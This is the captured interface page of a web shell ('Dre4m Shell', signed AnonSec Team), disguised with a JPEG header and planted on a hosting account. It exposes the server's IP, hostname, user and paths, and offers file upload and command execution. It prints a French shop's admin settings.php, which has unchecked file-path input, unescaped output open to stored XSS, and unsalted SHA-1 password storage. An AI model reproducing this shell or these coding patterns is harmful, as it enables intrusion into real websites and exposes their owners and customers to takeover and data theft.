ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/settings.php
<?php
include_once('includes/header.php');

if($niveauT <> 1) { 
  echo '<script>';
  echo 'window.location = "./index.php"';
  echo '</script>';
}



$sql = $bdd->query('SELECT * FROM info
  WHERE id = 1');

  $list = $sql->fetchAll();
  
  for($i=0; $i<count($list); $i++) {
        $title = $list[$i]['title'];
        $meta_caption= $list[$i]['meta_caption'];
        $meta_keywords= $list[$i]['meta_keywords'];
        $url = $list[$i]['url'];
        $email_contact = $list[$i]['email_contact'];
        $email_rappel = $list[$i]['email_rappel'];
        $company = $list[$i]['company'];
        $surname = $list[$i]['surname'];
        $first_name = $list[$i]['first_name'];
        $address = $list[$i]['address'];
        $zip_code = $list[$i]['zip_code'];
        $town = $list[$i]['town'];
        $phone = $list[$i]['phone'];
        $fax = $list[$i]['fax'];
        $google_analytics = $list[$i]['google_analytics'];
        $maintenance = $list[$i]['maintenance'];
        $facebook= $list[$i]['facebook'];
        $twitter= $list[$i]['twitter'];
        $instagram= $list[$i]['instagram'];
         $activite= $list[$i]['activite'];

         $recapcha1= $list[$i]['recapcha1'];
         $recapcha2= $list[$i]['recapcha2'];


       $google_plus= $list[$i]['google_plus'];
        $paypal_adress= $list[$i]['paypal_adress'];
        $iban = $list[$i]['iban'];
        $ouverture= $list[$i]['ouverture'];
        $maxi = $list[$i]['maxi'];
        $activite2= $list[$i]['garantie'];
        $txt_fact = $list[$i]['txt_fact'];
        $siren = $list[$i]['siren'];
        $tva_intra= $list[$i]['tva_intra'];
       }



if(isset($_POST['secure'])) 
{
  $username = $_POST['username'];
  $password = $_POST['password'];

  $htaccess = '# Solve 401 rewrite and auth conflict on some machines' . PHP_EOL
            .  'ErrorDocument 401 "Access Forbidden"' . PHP_EOL
            . PHP_EOL
            . '# Denied content' . PHP_EOL
            . '<FilesMatch "\.(htaccess|htpasswd|inc.php)$">' . PHP_EOL
            . '  Order Allow,Deny' . PHP_EOL
            . '  Deny from all' . PHP_EOL
            . '</FilesMatch>' . PHP_EOL
            . PHP_EOL
            . '# Basic authentication' . PHP_EOL
            . '<IfModule mod_auth_basic.c>' . PHP_EOL
            . '  AuthType Basic' . PHP_EOL
            . '  AuthName "Restricted Area"' . PHP_EOL
            . '  AuthUserFile "' . realpath("") . '/.htpasswd"' . PHP_EOL
            . '  Require valid-user' . PHP_EOL
            . '</IfModule>' . PHP_EOL;
  
  if (is_dir('../'.$_REQUEST['admin_folder'])) {
    file_put_contents(''. $_REQUEST['admin_folder'] .'.htaccess', $htaccess);
  }

  if (is_dir('../'.$_REQUEST['admin_folder'])) {
    $htpasswd = $username .':{SHA}'. base64_encode(sha1($password, true)) . PHP_EOL;
    if (file_put_contents('.htpasswd', $htpasswd)) {
    }
  }
}

if(isset($_POST['edit'])) {


//$google_ana = str_replace('"', ''', $_POST['google_analytics']);
$google_ana = $_POST['google_analytics'];

 


  $sql = $bdd->prepare('UPDATE info SET title = :title,activite = :activite, meta_caption= :meta_caption, meta_keywords= :meta_keywords, url = :url, email_contact = :email_contact, email_rappel = :email_rappel, company = :company, surname = :surname, first_name = :first_name, address = :address, zip_code = :zip_code, town = :town, phone = :phone, fax = :fax, google_analytics = :google_analytics, maintenance = :maintenance, facebook= :facebook, instagram= :instagram, twitter= :twitter, google_plus= :google_plus, paypal_adress= :paypal_adress, iban= :iban, ouverture= :ouverture, 
  maxi= :maxi,garantie=:activite2, tva_intra=:tva_intra, recapcha1=:recapcha1,recapcha2=:recapcha2, txt_fact=:txt_fact, siren=:siren WHERE id = 1');

  $sql->execute(array(
      'title'   => $_POST['title'], 
      'activite'   => $_POST['activite'], 

      'meta_caption'     => $_POST['meta_caption'],
      'meta_keywords' => $_POST['meta_keywords'],
      'url' => $_POST['url'],
      
      'email_contact' => $_POST['email_contact'],
      'email_rappel' => $_POST['email_rappel'],
      'company' => $_POST['company'],
      'surname' => $_POST['surname'],
      'first_name' => $_POST['first_name'],
      'address' => $_POST['address'],
      'zip_code' => $_POST['zip_code'],
      'town' => $_POST['town'],
      'phone' => $_POST['phone'],
      'fax' => $_POST['fax'],
      'google_analytics' => $google_ana,
      'maintenance' => $_POST['maintenance'],
      'facebook' => $_POST['facebook'],
      'twitter' => $_POST['twitter'],
      'instagram' => $_POST['instagram'],
 
     'google_plus' => $_POST['google_plus'],
      'paypal_adress' => $_POST['paypal_adress'],
      'iban' => $_POST['iban'],
       'ouverture' => $_POST['ouverture'],
        'maxi' => $_POST['maxi'],
       'activite2' => $_POST['activite2'],
       'tva_intra' => $_POST['tva_intra'],
       'siren' => $_POST['siren'],


       'recapcha1' => $_POST['recapcha1'],
       'recapcha2' => $_POST['recapcha2'],





       'txt_fact' => $_POST['txt_fact']
   ));

  echo '<script>';
  echo 'window.location = "./settings.php"';
  echo '</script>';
}
?>
<div class="container">
    <div class="row">
      <div class="span12">
          <div class="page-header">
              <h1>Paramètres Généraux</h1>
            </div>
        </div>
    </div>
    <div class="row">
    <div class="span3">
        <ul class="nav nav-tabs nav-stacked">
        
              <li class="active"><a href="settings.php">Général</a></li>
              <li><a href="set_configuration.php">Configuration</a></li>
              <li><a href="colmenu.php">Param&egrave;tres du Menu</a></li>
              <li><a href="colonne_G.php">Colonne Gauche</a></li>
              <li><a href="colonne_D.php">Colonne Droite</a></li>
              <li><a href="./themes_a.php">Th&egrave;mes</a></li>




           </ul>
        </div>
        <div class="span9 settings">
          <form action="#" method="post" class="form-horizontal" enctype="multipart/form-data">
            <div class="well general" style="margin-top:0; background: #F5F5F5">
              <div class="control-group">
                <label class="control-label" for="titlefrom">Titre :</label>
                <div class="controls">
                    <input type="text" id="title" name="title" style="width:100%" value="<?php echo ''.$title.''; ?>">
                </div>
            </div>

              <div class="control-group">
                <label class="control-label" for="titlefrom">Activit&eacute; :</label>
                <div class="controls">
                    <input type="text" id="activite" required name="activite" style="width:100%" value="<?php echo ''.$activite.''; ?>">
                </div>
            </div>

              <div class="control-group">
                <label class="control-label" for="titlefrom">Activit&eacute; type GG :</label>
                <div class="controls">
                    <input type="text" id="activite2" required name="activite2" style="width:100%" value="<?php echo ''.$activite2.''; ?>">
                </div>
            </div>
                        
            <div class="control-group">
              <label class="control-label" for="titlefrom">Description :</label>
              <div class="controls">
                  <input type="text" id="meta_caption" required name="meta_caption" style="width:100%" value="<?php echo ''.$meta_caption.''; ?>">
              </div>
              
              
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Mots clés :</label>
              <div class="controls">
              <input type="text" id="meta_keywords" required name="meta_keywords" style="width:100%" value="<?php echo ''.$meta_keywords.''; ?>">
              </div>
            </div>

            <div class="control-group">
              <label class="control-label" for="titlefrom">Email Contact :</label>
              <div class="controls">
                  <input type="text" id="email_contact" required name="email_contact" style="width:100%" value="<?php echo ''.$email_contact.''; ?>">
              </div>
            </div>
            
            <div class="control-group">
              <label class="control-label" for="titlefrom">Email Commandes :</label>
              <div class="controls">
                  <input type="text" id="email_rappel" required name="email_rappel" style="width:100%" value="<?php echo ''.$email_rappel.''; ?>">
              </div>
            </div>
            
            
                        <div class="control-group">
              <label class="control-label" for="titlefrom">Email Paypal :</label>
              <div class="controls">
                  <input type="text" id="paypal_adress" name="paypal_adress" style="width:100%" value="<?php echo ''.$paypal_adress.''; ?>">
              </div>
            </div>

            
                        <div class="control-group">
              <label class="control-label" for="titlefrom">IBAN :</label>
              <div class="controls">
                  <input type="text" id="iban" name="iban" style="width:100%" value="<?php echo ''.$iban.''; ?>">
              </div>
            </div>


         
                         <div class="control-group">
              <label class="control-label" for="titleom">TVA intra :</label>
              <div class="controls">
                  <input type="text" id="tva_intra" name="tva_intra" style="width:100%" value="<?php echo ''.$tva_intra.''; ?>">
              </div>
            </div>
           
                         <div class="control-group">
              <label class="control-label" for="siren">Siren :</label>
              <div class="controls">
                  <input type="text" id="siren" name="siren" style="width:100%" value="<?php echo ''.$siren.''; ?>">
              </div>
            </div>
           
                         <div class="control-group">
              <label class="control-label" for="txt_fact">Texte pied fact :</label>
              <div class="controls">
                  <input type="text" id="txt_fact" name="txt_fact" style="width:100%" value="<?php echo ''.$txt_fact.''; ?>">
              </div>
            </div>


           
            
            <div class="control-group">
              <label class="control-label" for="titlefrom">URL du site 
				(https://www.xx.fr):</label>
              <div class="controls">
                  <input type="text" id="url" placeholder="Format : www.monsite.com" required  name="url" style="width:100%" value="<?php echo ''.$url.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Société :</label>
              <div class="controls">
                  <input type="text" id="company" name="company" style="width:100%" value="<?php echo ''.$company.''; ?>">
En majuscules et sans accent !
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Nom :</label>
              <div class="controls">
                  <input type="text" id="surname" name="surname" style="width:100%" value="<?php echo ''.$surname.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Prénom :</label>
              <div class="controls">
                  <input type="text" id="first_name" name="first_name" style="width:100%" value="<?php echo ''.$first_name.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Adresse :</label>
              <div class="controls">
                  <input type="text" id="address" name="address" style="width:100%" value="<?php echo ''.$address.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Code Postal :</label>
              <div class="controls">
                  <input type="text" id="zip_code" name="zip_code" style="width:100%" value="<?php echo ''.$zip_code.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Ville :</label>
              <div class="controls">
                  <input type="text" id="town" name="town" style="width:100%" value="<?php echo ''.$town.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Téléphone :</label>
              <div class="controls">
                  <input type="text" id="phone" name="phone" style="width:100%" value="<?php echo ''.$phone.''; ?>">
              </div>
            </div>
            
                        <div class="control-group">
              <label class="control-label" for="titlefrom">Fax :</label>
              <div class="controls">
                  <input type="text" id="fax" name="fax" style="width:100%" value="<?php echo ''.$fax.''; ?>">
              </div>
            </div>

            
            <div class="control-group">
              <label class="control-label" for="titlefrom">Google Analytics :</label>
              <div class="controls">
 
                   <input type="text" name="google_analytics" id="google_analytics" style="width:100%" value="<?php echo ''.$google_analytics.''; ?>">
                   <br />Dans ce code remplacez uniquement le code personnel Google
            </div>
            </div>
            
            
                         <div class="control-group">
              <label class="control-label" for="titlefrom">Facebook :</label>
              <div class="controls">
                  <input type="text" id="facebook" name="facebook" style="width:100%" value="<?php echo ''.$facebook.''; ?>">
              </div>
            </div>
           
            
                         <div class="control-group">
              <label class="control-label" for="titlefrom">Twitter :</label>
              <div class="controls">
                  <input type="text" id="twitter" name="twitter" style="width:100%" value="<?php echo ''.$twitter.''; ?>">
              </div>
            </div>
           
            

            
                        <div class="control-group">
              <label class="control-label" for="titlefrom">Instagram :</label>
              <div class="controls">
                  <input type="text" id="instagram" name="instagram" style="width:100%" value="<?php echo ''.$instagram.''; ?>">
              </div>
            </div> 

                         <div class="control-group">
              <label class="control-label" for="titlefrom">Ouverture (255c) :</label>
              <div class="controls">
                  <input type="text" id="ouverture" name="ouverture" style="width:100%" value="<?php echo ''.$ouverture.''; ?>">
              </div>
            </div>
           


                         <div class="control-group">
              <label class="control-label" for="titlefrom">Livraison offerte &agrave; partir :</label>
              <div class="controls">
                  <input type="text" id="maxi" name="maxi" style="width:100%" value="<?php echo ''.$maxi.''; ?>">
Mettre 0 si toutes les livraisons sont offertes sinon un nombre
              </div>
            </div>
 



            <div class="control-group">
              <label class="control-label" for="titlefrom">Recapcha site :&nbsp;</label>
              <div class="controls">
                  <input type="text" id="recapcha1" placeholder="Cl&eacute; du site disponible sur Google" name="recapcha1" style="width:100%" value="<?php echo ''.$recapcha1.''; ?>">
              </div>
            </div>   

            <div class="control-group">
              <label class="control-label" for="titlefrom">Recapcha secret :&nbsp;</label>
              <div class="controls">
                  <input type="text" id="recapcha2" placeholder="Cl&eacute; secr&egrave;te disponible sur Google" name="recapcha2" style="width:100%" value="<?php echo ''.$recapcha2.''; ?>">
              </div>
            </div>   




                       </div>
            <div class="form-actions" style="position:fixed; top: 70%;left:0">
              <button type="submit" name="edit" class="btn btn-success" style="font-size:12pt;height:45px"><i class="icon-ok"></i> Enregistrer</button>
            </div>
          </form>
        </div>
</div>

<div class="modal hide fade" id="slideshow_title_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h1>Protection Back-Office</h1>
  </div>
  <form action="settings.php" method="post" class="form-horizontal" enctype="multipart/form-data">
    <div class="modal-body">
        <label>Utilisateur :</label> <input type="text" name="username" style="width:100%" value="">
        <label>Mot de passe :</label> <input type="password" name="password" style="width:100%" value="">
    </div>
    <div class="modal-footer">
      <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
      <button type="submit" name="secure" class="btn btn-primary ">Enregistrer</button>
    </div>
  </form>
</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team